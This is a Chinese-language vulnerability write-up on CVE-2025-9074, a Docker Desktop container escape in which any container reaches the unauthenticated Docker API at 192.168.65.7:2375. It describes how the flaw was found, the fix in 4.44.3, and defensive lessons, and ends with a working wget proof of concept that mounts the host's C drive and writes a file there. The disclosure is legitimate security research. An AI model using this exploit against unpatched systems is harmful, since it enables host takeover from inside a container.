前言
有些漏洞其实并不复杂。本文讲述了如何发现编号为 CVE-2025-9074 的完整 Docker 逃逸漏洞,该漏洞现已通过 Docker Desktop 4.44.3 版本修复。
在此版本之前,只需利用容器内部的 SSRF(服务器端请求伪造)或简单网络请求,即可完全控制宿主机。
特别感谢 Pvotal Technologies 的 Docker 专家 Philippe Dugre,他是作者多年的好友,在研究过程中给予了重要支持。
他还成功在 Mac 平台上复现了类似漏洞,因此双方共同报告了该 CVE,详细链接见文末。
漏洞影响
对于未打补丁的 Windows 版 Docker Desktop,任意容器都具备以下能力:
- 无需身份验证即可连接到 http://192.168.65.7:2375/
- 创建并启动特权容器
- 将宿主机的 C 盘挂载到容器内部
- 从而完全控制 Windows 宿主机
这表示 Docker 的控制暴露给了应当隔离的容器工作负载。
漏洞发现过程
漏洞是偶然发现的,作者之前对容器隔离了解有限。
几年前发现某个主流虚拟机软件,默认允许任何虚拟机访问宿主机localhost接口,因此作者对这方面变得异常警觉。
通过扫描了自己的容器网络环境及 Docker 默认配置中的私有网络,
正是在这里发现了暴露的 Docker API 端口,过程非常简单。
漏洞利用原理
利用过程仅需两个 HTTP POST 请求,均由容器内部发起:
向 /containers/create
发送 JSON 数据,请求创建容器,并将宿主机的 C 盘挂载到容器路径 /mnt/host/c:/host_root
,同时启动时执行命令读写该路径。
向 /containers/{id}/start
发送 POST 请求以启动该容器,这意味着仅凭 SSRF 攻击即可完成,无需在容器中执行代码。
提前发现漏洞的重要性
本质上,这是 Docker 对内部 HTTP API 缺少访问控制的疏忽。
该案例提醒我们,很多安全漏洞源于对基础假设的忽视。作者通过简单的 nmap 扫描 Docker 的私有网络,快速发现了暴露的端口。
扫描整个私有网络只需几分钟,或许能帮助你发现其实并未做到理想中的隔离。
因此,务必验证网络隔离策略,不要默认所有安全措施均已生效,内部管理接口并不“天然安全”。应全面评估所有入口点,进行内外部测试和扫描。并鼓励开展公开或私有漏洞奖励计划,以提前识别易被黑客利用的漏洞。
漏洞奖励
目前 Docker 并无漏洞赏金计划,此次发现是一次偶然的研究成果,
作者获得了 Docker 寄送的纪念品包以示感谢。
关键经验总结
- 所有控制平面接口都必须进行身份验证,包括 “内部” 接口
- 对容器实施网络分段隔离
- 在主机环境中落实零信任安全架构
结语
Docker Desktop 4.44.3 中已修复此漏洞,迄今无新增问题报告。
缺少正式漏洞赏金计划有点遗憾,但补丁发布及时且有效。
编号 CVE-2025-9074 的事件提醒我们,未认证 API 会带来重大安全隐患。“不论网络环境如何,任何 API 接口均不得无认证暴露。”
相关链接:
CVE 详情:https://www.cve.org/CVERecord?id=CVE-2025-9074
发布说明:https://docs.docker.com/desktop/release-notes/#4443
Philippe Dugre 文章:https://pvotal.tech/breaking-dockers-isolation-using-docker-cve-2025-9074/
演示视频和PoC代码
https://blog.qwertysecurity.com/Proofs/blog3/poc.mp4
PoC 代码展示了如何在容器内运行以下命令启动一个 Alpine 容器,该容器将宿主机 C 盘挂载至自身路径并写入文件:
wget --header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/pwn.txt"],"HostConfig":{"Binds":["/mnt/host/c:/host_root"]}}' \
-O - http://192.168.65.7:2375/containers/create > create.json
cid=$(cut -d'"' -f4 create.json)
wget --post-data='' -O - http://192.168.65.7:2375/containers/$cid/start